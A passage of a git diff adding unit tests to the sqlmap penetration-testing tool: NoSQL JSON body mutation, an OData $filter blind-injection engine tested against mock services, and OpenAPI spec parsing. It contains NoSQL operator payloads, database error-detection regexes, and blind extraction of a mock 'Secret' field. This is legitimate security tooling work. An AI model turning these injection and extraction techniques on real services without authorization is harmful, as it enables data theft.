out) # sibling preserved verbatim + + def test_json_like_single_quotes_not_form_serialized(self): + # single-quoted -> json.loads() fails in the real flow; the span replace still works and the + # body stays JSON-shaped (no '&', no 'name=value' reconstruction) + body = "{'name': 'luther', 'active': true}" + out = ni._jsonRawReplace(body, "name", "payload") + self.assertIsNotNone(out) + self.assertIn("'active': true", out) # sibling + JS literal preserved + self.assertNotIn("&", out) + self.assertTrue(out.strip().startswith("{")) # still a JSON object, not form content + + def test_bareword_and_numeric_values(self): + self.assertEqual(ni._jsonRawReplace('{"age": 42}', "age", 7), '{"age": 7}') + self.assertEqual(ni._jsonRawReplace('{"ok": true}', "ok", "x"), '{"ok": "x"}') + + def test_missing_key_returns_none(self): + # key absent -> None so the caller SKIPS the probe rather than corrupt the body + self.assertIsNone(ni._jsonRawReplace('{"other": "v"}', "name", "x")) + + def test_key_like_text_inside_string_is_not_matched(self): + # the reviewer's reproduction: 'name: old' inside the "note" STRING must NOT be mutated - only + # the real "name" property is replaced + body = '{"note":"name: old", "name":"real"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"note":"name: old", "name":{"$ne": null}}') + self.assertIn('"note":"name: old"', out) # decoy string untouched + + def test_key_like_text_inside_single_quoted_string(self): + body = "{'note':'name: trap', 'name':'real'}" + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("'note':'name: trap'", out) # decoy untouched + self.assertTrue(out.endswith('"P"}')) # real value replaced + + def test_key_like_text_inside_comment_is_not_matched(self): + body = '{/* name: not here */ "name": "real"}' + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("/* name: not here */", out) # comment untouched + self.assertIn('"name": "P"', out) + + def test_object_and_array_values_replaced_whole(self): + # an object/array as the original value must be replaced in full, not partially + self.assertEqual(ni._jsonRawReplace('{"f": {"a": 1, "b": [2, 3]}, "g": 9}', "f", "X"), + '{"f": "X", "g": 9}') + self.assertEqual(ni._jsonRawReplace('{"f": [1, {"x": "}"}, 2], "g": 9}', "f", 0), + '{"f": 0, "g": 9}') + + def test_nested_property_located_at_depth(self): + # a nested property (not top-level) is located and replaced without disturbing structure + out = ni._jsonRawReplace('{"outer": {"name": "luther"}}', "name", {"$ne": None}) + self.assertEqual(out, '{"outer": {"name": {"$ne": null}}}') + + def test_brace_inside_string_value_does_not_close_object(self): + # a '}' inside a string value must not end the value token early + out = ni._jsonRawReplace('{"a": "va}lue", "name": "x"}', "name", "P") + self.assertIn('"a": "va}lue"', out) + self.assertIn('"name": "P"', out) + + def test_brace_inside_comment_in_value_does_not_close_object(self): + # reviewer P0-2 reproduction: a '}' inside a COMMENT within an object value closed it early + out = ni._jsonRawReplace('{"f": {/* } */ "a": 1}, "g": 9}', "f", "X") + self.assertEqual(out, '{"f": "X", "g": 9}') + + def test_key_like_text_inside_regex_literal_is_not_matched(self): + # reviewer P0-2 reproduction: 'name:' inside a /regex/ literal must not be taken as the property + out = ni._jsonRawReplace('{pattern: /name: trap/, name: "real"}', "name", "P") + self.assertEqual(out, '{pattern: /name: trap/, name: "P"}') + + def test_regex_with_slash_in_char_class(self): + # a regex value containing '/' inside a [..] class and a '}' must be skipped whole + out = ni._jsonRawReplace('{"re": /[a/}]x/, "name": "y"}', "name", "P") + self.assertIn("/[a/}]x/", out) + self.assertIn('"name": "P"', out) + + def test_backtick_string_is_not_a_key(self): + # a backtick template value containing 'name:' must not be mistaken for the property + out = ni._jsonRawReplace('{"tpl": `name: ${x}`, "name": "z"}', "name", "P") + self.assertIn("`name: ${x}`", out) + self.assertIn('"name": "P"', out) + + def test_regex_value_flags_consumed(self): + # P0-6: a regex value's span must include trailing flags, else a dangling 'i' is left behind + self.assertEqual(ni._jsonRawReplace('{re: /abc/i, name: "x"}', "re", "P"), + '{re: "P", name: "x"}') + + def test_duplicate_key_at_different_depths_is_skipped(self): + # P0-6: with only the leaf key name, an ambiguous body (same key at 2 places) must be SKIPPED, + # never guessed - the payload could otherwise reach the wrong field + self.assertIsNone(ni._jsonRawReplace('{"outer":{"name":"first"},"name":"second"}', "name", "P")) + + def test_single_occurrence_still_mutates(self): + self.assertEqual(ni._jsonRawReplace('{"a":1,"name":"real"}', "name", "P"), '{"a":1,"name":"P"}') + + +class TestNoSqlErrorRegex(unittest.TestCase): + """The heuristic regex must match real back-end error structures, not bare product names (so an + article merely mentioning MongoDB/Elasticsearch/Cassandra is never flagged as injectable)""" + + from lib.core.settings import NOSQL_ERROR_REGEX + + POSITIVES = ( + 'MongoServerError: unknown operator: $foo', + '{"ok":0,"errmsg":"unknown top level operator: $where","code":2,"codeName":"BadValue"}', + 'MongoServerError: Regular expression is invalid: missing )', + 'CastError: Cast to ObjectId failed', + '{"error":"query_parse_error","reason":"Invalid operator: $foo"}', + '{"error":{"root_cause":[{"type":"query_shard_exception","reason":"Failed to parse query [luther\']"}]},"status":400}', + '{"type":"x_content_parse_exception","reason":"[1:18] [bool] failed to parse"}', + '{"error":{"msg":"org.apache.solr.search.SyntaxError: Cannot parse \'username:\'","code":400}}', + "Neo.ClientError.Statement.SyntaxError: Invalid input", + 'Neo4j error: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 30) "MATCH (u:User) WHERE u.id = 1"', + "Neo4j error: Invalid input ''x'': expected an expression, 'FOREACH', 'MATCH', 'MERGE', 'UNWIND', 'WITH' or ", + '{"error":true,"errorNum":1501,"errorMessage":"AQL: syntax error, unexpected quoted string"}', + "ResponseError: line 1:38 no viable alternative at input", + "SyntaxException: line 1:42 mismatched input ''' expecting EOF", + '{"error":{"root_cause":[{"type":"number_format_exception","reason":"For input string"}]},"status":400}', + 'ReplyError: WRONGTYPE Operation against a key holding the wrong kind of value', + 'ReplyError: ERR Error compiling script (new function): user_script:1: unexpected symbol', + 'CLIENT_ERROR bad command line format', + 'error parsing query: found WHERE, expected identifier at line 1', + 'org.apache.phoenix.exception.PhoenixIOException: failed', + ) + + NEGATIVES = ( + "This article explains how MongoDB, CouchDB and Elasticsearch handle queries.", + "Cassandra and Redis are popular NoSQL databases; Neo4j is a graph database.", + "We migrated from Solr to OpenSearch last year. ArangoDB is multi-model.", + "Results:
    1luther
    ", + "Invalid credentials", + ) + + def test_matches_real_errors(self): + for sample in self.POSITIVES: + self.assertIsNotNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should match: %s" % sample) + + def test_ignores_benign_text(self): + for sample in self.NEGATIVES: + self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) + + +class TestNoSqlNoneSafety(unittest.TestCase): + """A blocked/failed request makes _send() return None; the fingerprint/error helpers must not + crash calling .lower() on it.""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *a, **k: None + ni._fetchValue = lambda *a, **k: None + ni.conf.parameters = {"GET": "q=x"} + ni.conf.paramDict = {"GET": {"q": "x"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_nosql_failed_fingerprint_does_not_crash(self): + # None responses must not raise (was: 'NoneType' has no attribute 'lower') + self.assertIn(ni._fingerprintMongo("GET", "q"), ("CouchDB", "MongoDB", "MongoDB/CouchDB-compatible operator back-end")) + self.assertIn(ni._fingerprintLucene("GET", "q"), ("Solr", "OpenSearch", "Lucene query_string-compatible back-end")) + self.assertIsNone(ni._detectError("GET", "q")) + + +if __name__ == "__main__": + unittest.main() + diff --git a/tests/test_odata.py b/tests/test_odata.py new file mode 100644 index 00000000000..fd33583d6d4 --- /dev/null +++ b/tests/test_odata.py @@ -0,0 +1,471 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the OData '$filter' injection engine. A mock oracle mirrors the +boolean-blind semantics of a real OData service (a broken-out filter reduced to its injected predicate), +so detection, OData-only confirmation, version fingerprinting and per-entity blind extraction are +exercised without a live OData endpoint. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.odata.inject as odata +from lib.core.settings import ODATA_CHARSET_BLOCK +from lib.core.settings import ODATA_ERROR_REGEX + +_ENTITIES = ( + {"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"}, + {"Id": 2, "Name": "fluffy", "Secret": "hunter2"}, + {"Id": 3, "Name": "wu", "Secret": "letmein"}, +) +_FIELDS = ("Id", "Name", "Secret") + + +def _wrapped(expr): + if not (expr.startswith("(") and expr.endswith(")")): + return False + depth = 0 + for i, ch in enumerate(expr): + depth += (ch == "(") - (ch == ")") + if depth == 0 and i < len(expr) - 1: + return False + return True + + +def _split(expr, sep): + parts, buf = [], [] + for token in expr.split(sep): + buf.append(token) + chunk = sep.join(buf) + if chunk.count("(") == chunk.count(")"): + parts.append(chunk) + buf = [] + if buf: + parts.append(sep.join(buf)) + return parts + + +class _ODErr(Exception): + pass + + +def _atom(e, a): + a = a.strip() + while _wrapped(a): + a = a[1:-1].strip() + m = re.match(r"^length\('([^']*)'\) eq (\d+)$", a) + if m: + return len(m.group(1)) == int(m.group(2)) + m = re.match(r"^startswith\('([^']*)','([^']*)'\)$", a) + if m: + return m.group(1).startswith(m.group(2)) + m = re.match(r"^contains\('([^']*)','([^']*)'\)$", a) + if m: + return m.group(2) in m.group(1) + if a.startswith("substringof("): + raise _ODErr("v4 has no substringof") + m = re.match(r"^'([^']*)' eq '([^']*)'$", a) + if m: + return m.group(1) == m.group(2) + m = re.match(r"^(\d+) eq (\d+)$", a) + if m: + return m.group(1) == m.group(2) + m = re.match(r"^(\w+) eq '([^']*)'$", a) + if m: + if m.group(1) not in _FIELDS: + raise _ODErr("unknown property") + return "%s" % e.get(m.group(1)) == m.group(2) + m = re.match(r"^(\w+) ne null$", a) + if m: + if m.group(1) not in _FIELDS: + raise _ODErr("unknown property") + return e.get(m.group(1)) is not None + m = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", a) + if m: + p, op, num = m.group(1), m.group(2), int(m.group(3)) + if p not in _FIELDS: + raise _ODErr("unknown property") + v = e.get(p) + if not isinstance(v, int): + return False + return {"eq": v == num, "ge": v >= num, "gt": v > num, "le": v <= num, "lt": v < num}[op] + m = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", a) + if m: + p, op, num = m.group(1), m.group(2), int(m.group(3)) + if p not in _FIELDS: + raise _ODErr("unknown property") + n = len("%s" % e.get(p, "")) + return n == num if op == "eq" else n >= num + # an inner single quote arrives DOUBLED, the way the OData spec escapes it + m = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", a) + if m: + p, pos, ch = m.group(1), int(m.group(2)), m.group(3) + ch = "'" if ch == "''" else ch + if p not in _FIELDS: + raise _ODErr("unknown property") + t = "%s" % e.get(p, "") + return pos < len(t) and t[pos] == ch + raise _ODErr("syntax error") + + +def _eval(e, expr): + expr = expr.strip() + while _wrapped(expr): + expr = expr[1:-1].strip() + ors = _split(expr, " or ") + if len(ors) > 1: + return any(_eval(e, o) for o in ors) + ands = _split(expr, " and ") + if len(ands) > 1: + return all(_eval(e, a) for a in ands) + return _atom(e, expr) + + +_EMPTY = "

      " + + +def _render(matched): + return "
        %s
      " % "".join("
    • %s: %s
    • " % (e["Id"], e["Name"]) for e in matched) + + +def _mockSend(place, parameter, value, raw=False): + expr = "Name eq '%s'" % value + if expr.count("'") % 2: + return "
      The query specified in the URI is not valid. There is an unterminated string literal at position 8
      " if raw else None + try: + matched = [e for e in _ENTITIES if _eval(e, expr)] + except _ODErr: + return "
      Could not find a property named 'x' on type 'Default.Product'. Microsoft.OData
      " if raw else None + return _render(matched) + + +class TestHelpers(unittest.TestCase): + def test_is_error_and_backend(self): + self.assertTrue(odata._isError("The query specified in the URI is not valid. Microsoft.OData")) + self.assertFalse(odata._isError(_EMPTY)) + self.assertEqual(odata._backendFromError("Could not find a property named 'X'"), "Microsoft OData (WebAPI/.NET)") + + def test_error_regex_matches_real(self): + self.assertIsNotNone(re.search(ODATA_ERROR_REGEX, "There is an unterminated string literal at position 17 in 'Name eq'")) + + +class TestNoAmpersandInvariant(unittest.TestCase): + """A raw '&' in a GET value is the parameter delimiter; OData uses the 'or'/'and' keywords, so no + payload may carry one.""" + + def test_boundaries_and_predicates_have_no_ampersand(self): + for row in odata._BOUNDARY_TABLE: + for field in row: + self.assertNotIn("&", field) + for t, f in odata._ODATA_PREDICATES: + self.assertNotIn("&", t) + self.assertNotIn("&", f) + + def test_send_url_encodes_the_payload(self): + """The boundaries being '&'-free was never enough: the character scan emits '&' (and '+') as + DATA. _send() must URL-encode, or those probes split the request, the truncated $filter 400s, + and the resulting InconclusiveError aborts the WHOLE property (it dumped as '?').""" + sent = [] + savedParams, odata.conf.parameters = odata.conf.parameters, {odata.PLACE.GET: "name=luther"} + savedGet = odata.Request.getPage + odata.Request.getPage = staticmethod( + lambda **kwargs: (sent.append(odata.conf.parameters[odata.PLACE.GET]), "", None, 200)[1:]) + try: + odata._send(odata.PLACE.GET, "name", odata._literal(ord("&"))) + finally: + odata.Request.getPage = savedGet + odata.conf.parameters = savedParams + self.assertEqual(len(sent), 1) + self.assertNotIn("&", sent[0].split("=", 1)[1], sent[0]) + self.assertIn("%26", sent[0]) + + +class TestCharsetCoverage(unittest.TestCase): + """The scan is EXACT equality, not a bisection, so the ORDER is free but the COVERAGE is not: an + excluded codepoint is simply never recoverable. The one character an OData literal cannot carry + raw, the single quote, is doubled per the spec rather than dropped. + + (This replaces an earlier assertion pinning 0x27/0x5c as EXCLUDED, which cost coverage of two + characters common in real names and paths for no correctness gain.)""" + + def test_charset_covers_every_printable(self): + self.assertEqual(sorted(odata._CS_ORDS), + list(range(odata.ODATA_CHAR_MIN, odata.ODATA_CHAR_MAX + 1))) + + def test_quote_is_doubled(self): + self.assertEqual(odata._literal(0x27), "''''") + self.assertEqual(odata._literal(0x5c), "'\\'") + self.assertEqual(odata._literal(ord("a")), "'a'") + + +def _mockSendV23(place, parameter, value, raw=False): + """A v2/v3 service: contains() is an unknown function (400), substringof() is the one that parses.""" + if "contains(" in value: + return "
      Syntax error at position 0. Microsoft.OData
      " if raw else None + return _mockSend(place, parameter, value.replace("substringof('sql','sqlmap')", "1 eq 1"), raw) + + +def _mockSendQuiet(place, parameter, value, raw=False): + """An endpoint that SWALLOWS the service's 400: same boolean oracle, no error surface at all - a + failed $filter is rendered as the ordinary empty result page, error body and status included.""" + expr = "Name eq '%s'" % value + if expr.count("'") % 2: + return _EMPTY + try: + return _render([e for e in _ENTITIES if _eval(e, expr)]) + except _ODErr: + return _EMPTY + + +class TestVersionFingerprintDoesNotCrash(unittest.TestCase): + """Both version probes are EXPECTED to fail on the dialect that does not own them. An unknown + $filter function is a 400 the oracle can only call inconclusive, and that must read as a negative + answer - not as an exception that aborts the scan before the finding is even reported, on exactly + the v2/v3 services the second branch exists to name.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def test_v23_service_is_named_not_fatal(self): + odata._send = _mockSendV23 + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertIsNotNone(oracle) + self.assertEqual(odata._fingerprintVersion(oracle), "v2/v3") + + def test_service_speaking_neither_returns_none(self): + odata._send = lambda place, parameter, value, raw=False: _mockSend( + place, parameter, value.replace("contains('sqlmap','sql')", "unknownfn()"), raw) + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertIsNone(odata._fingerprintVersion(oracle)) + + +class TestErrorSurfaceGate(unittest.TestCase): + """_fieldExists() is an error/no-error split, so on an endpoint that swallows the service's 400 it + answers 'exists' for EVERY name - which reported all 37 candidate properties as reachable and + dumped a wall of empty columns. _hasErrorSurface() tells the two apart in one request.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def _boundary(self): + return odata._detectBoolean(odata.PLACE.GET, "name")[2] + + def test_error_surface_present(self): + odata._send = _mockSend + boundary = self._boundary() + self.assertTrue(odata._hasErrorSurface(odata.PLACE.GET, "name", boundary)) + + def test_error_surface_absent(self): + odata._send = _mockSendQuiet + boundary = self._boundary() + self.assertFalse(odata._hasErrorSurface(odata.PLACE.GET, "name", boundary)) + # the error-based check is useless here - every unknown name looks real + self.assertTrue(odata._fieldExists(odata.PLACE.GET, "name", boundary, "TotallyMadeUp")) + # ...so existence falls through to the boolean oracle, which still separates them. The dump + # must keep working on a blind target, not be surrendered because one probe went blind. + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + self.assertTrue(odata._fieldExistsBlind(oracle, "Id", 1, "Secret")) + self.assertFalse(odata._fieldExistsBlind(oracle, "Id", 1, "TotallyMadeUp")) + + +class TestDetectionAndExtraction(unittest.TestCase): + def setUp(self): + self.saved = odata._send + odata._send = _mockSend + self.savedParams = odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + + def tearDown(self): + odata._send = self.saved + odata.conf.parameters = self.savedParams + + def test_boolean_detection(self): + template, payload, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertIsNotNone(template) + + def test_confirms_odata(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertTrue(odata._confirmOData(odata.PLACE.GET, "name", boundary)) + + def test_version_fingerprint_v4(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary) + self.assertEqual(odata._fingerprintVersion(oracle), "v4") + + def test_field_existence(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertTrue(odata._fieldExists(odata.PLACE.GET, "name", boundary, "Secret")) + self.assertFalse(odata._fieldExists(odata.PLACE.GET, "name", boundary, "Nope")) + + def test_key_and_entities(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + key, keys = odata._findKeyAndEntities(odata.PLACE.GET, "name", boundary, _EMPTY) + self.assertEqual(key, "Id") + self.assertEqual(keys, [1, 2, 3]) + + def test_blind_field_extraction_reaches_secret(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + self.assertEqual(odata._inferField(oracle, "Id", 1, "Name"), "luther") + self.assertEqual(odata._inferField(oracle, "Id", 1, "Secret"), "S3CR3Tvalue") + + def test_plain_sql_endpoint_not_confirmed(self): + odata._send = lambda place, parameter, value, raw=False: _render(_ENTITIES) # always same + template, _p, _b = odata._detectBoolean(odata.PLACE.GET, "name") + self.assertIsNone(template) + + +class TestCapsAreDisclosed(unittest.TestCase): + """Every bound here is a bisection bound, so a result sitting ON it is a FLOOR, not a measurement. + Handing back a capped prefix (or a capped entity list) with no word said reads exactly like a + complete answer - the one failure mode a blind dumper must never have.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata._send = _mockSend + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + self.savedWarning, self.warnings = odata.logger.warning, [] + odata.logger.warning = lambda message, *args: self.warnings.append(message % args if args else message) + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + odata.logger.warning = self.savedWarning + + def _oracle(self): + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + return oracle + + def test_truncated_value_is_reported(self): + value = odata._inferField(self._oracle(), "Id", 1, "Secret", maxLen=4) + self.assertEqual(value, "S3CR") + self.assertTrue(any("at least 4 characters" in _ for _ in self.warnings), self.warnings) + + def test_value_that_fits_is_silent(self): + value = odata._inferField(self._oracle(), "Id", 1, "Name", maxLen=64) + self.assertEqual(value, "luther") + self.assertEqual(self.warnings, []) + + def test_entity_cap_is_reported(self): + savedCap, odata.ODATA_MAX_RECORDS = odata.ODATA_MAX_RECORDS, 2 + try: + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + key, keys = odata._findKeyAndEntities(odata.PLACE.GET, "name", boundary, _EMPTY) + finally: + odata.ODATA_MAX_RECORDS = savedCap + + self.assertEqual(key, "Id") + self.assertEqual(keys, [1, 2]) # the third entity exists but is beyond the cap... + self.assertTrue(any("2-entity cap" in _ for _ in self.warnings), self.warnings) + + +_LITERAL = r"'(?:[^']|'')*'" +_IN_REGEX = re.compile(r"(?Psubstring\(\w+,\d+,1\)|%s) in \((?P%s(?:,%s)*)\)" + % (_LITERAL, _LITERAL, _LITERAL)) + + +def _expandIn(expr): + """Rewrite a v4.01 "X in (a,b,c)" into the equivalent v4.0 disjunction - all the mock parser needs + in order to model a service that offers the operator, without teaching _atom() a second syntax.""" + + def expand(match): + lhs = match.group("lhs") + return "(%s)" % " or ".join("%s eq %s" % (lhs, _) for _ in re.findall(_LITERAL, match.group("items"))) + + return _IN_REGEX.sub(expand, expr) + + +def _mockSendIn(place, parameter, value, raw=False): + """A v4.01 service: identical semantics, but it also parses the 'in' operator.""" + return _mockSend(place, parameter, _expandIn(value), raw) + + +class TestSetMembershipRecovery(unittest.TestCase): + """Character recovery asks about a whole candidate SET per request. .NET string comparison is + culture-aware and case-folding, so a lexicographic bisection is unusable - but set membership needs + no ordering and halves the space just the same. This pins the cost: the linear scan this replaced + spent one request per candidate, up to the whole charset for a single character.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + self.sent = [] + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def _extract(self, service, field="Secret"): + def counting(place, parameter, value, raw=False): + self.sent.append(value) + return service(place, parameter, value, raw) + + odata._send = counting + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + before = len(self.sent) + return odata._inferField(oracle, "Id", 1, field), len(self.sent) - before + + def test_v40_service_extracts_under_a_linear_scan(self): + value, cost = self._extract(_mockSend) + self.assertEqual(value, "S3CR3Tvalue") + self.assertLess(cost, len(value) * len(odata._CS_ORDS)) + + def test_v401_service_extracts_the_same_value(self): + value, cost = self._extract(_mockSendIn) + self.assertEqual(value, "S3CR3Tvalue") + self.assertLess(cost, len(value) * len(odata._CS_ORDS)) + + def test_in_encoding_is_used_only_when_offered(self): + self._extract(_mockSendIn) + self.assertTrue(any(" in (" in _ for _ in self.sent)) + self.sent = [] + self._extract(_mockSend) + self.assertFalse(any("substring(Secret,0,1) in (" in _ for _ in self.sent)) + + def test_disjunction_stays_inside_the_node_budget(self): + """Every 'or' term costs the service's parser ~8 of the 100 nodes ASP.NET Core OData allows by + default (MaxNodeCount); an 11-term disjunction was measured being rejected outright.""" + + self._extract(_mockSend) + for value in self.sent: + self.assertLessEqual(value.count("substring("), ODATA_CHARSET_BLOCK) + + def test_split_point_never_degenerates(self): + """A cut of 0 or of len(candidates) would leave the set unchanged and loop forever.""" + + for size in range(2, len(odata._CS_ORDS) + 1): + cut = odata._splitPoint(odata._CS_ORDS[:size]) + self.assertTrue(0 < cut < size, "size %d cut %d" % (size, cut)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 00000000000..460166897a6 --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,483 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_server_variable_enum_without_default(self): + # a server variable that declares an 'enum' but omits the (spec-required) 'default' must use a + # declared enum value, not a placeholder host - else the target is https://1/... (unscannable) + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{h}/v1", + "variables": {"h": {"enum": ["real.com"]}}}], + "paths": {"/x": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], 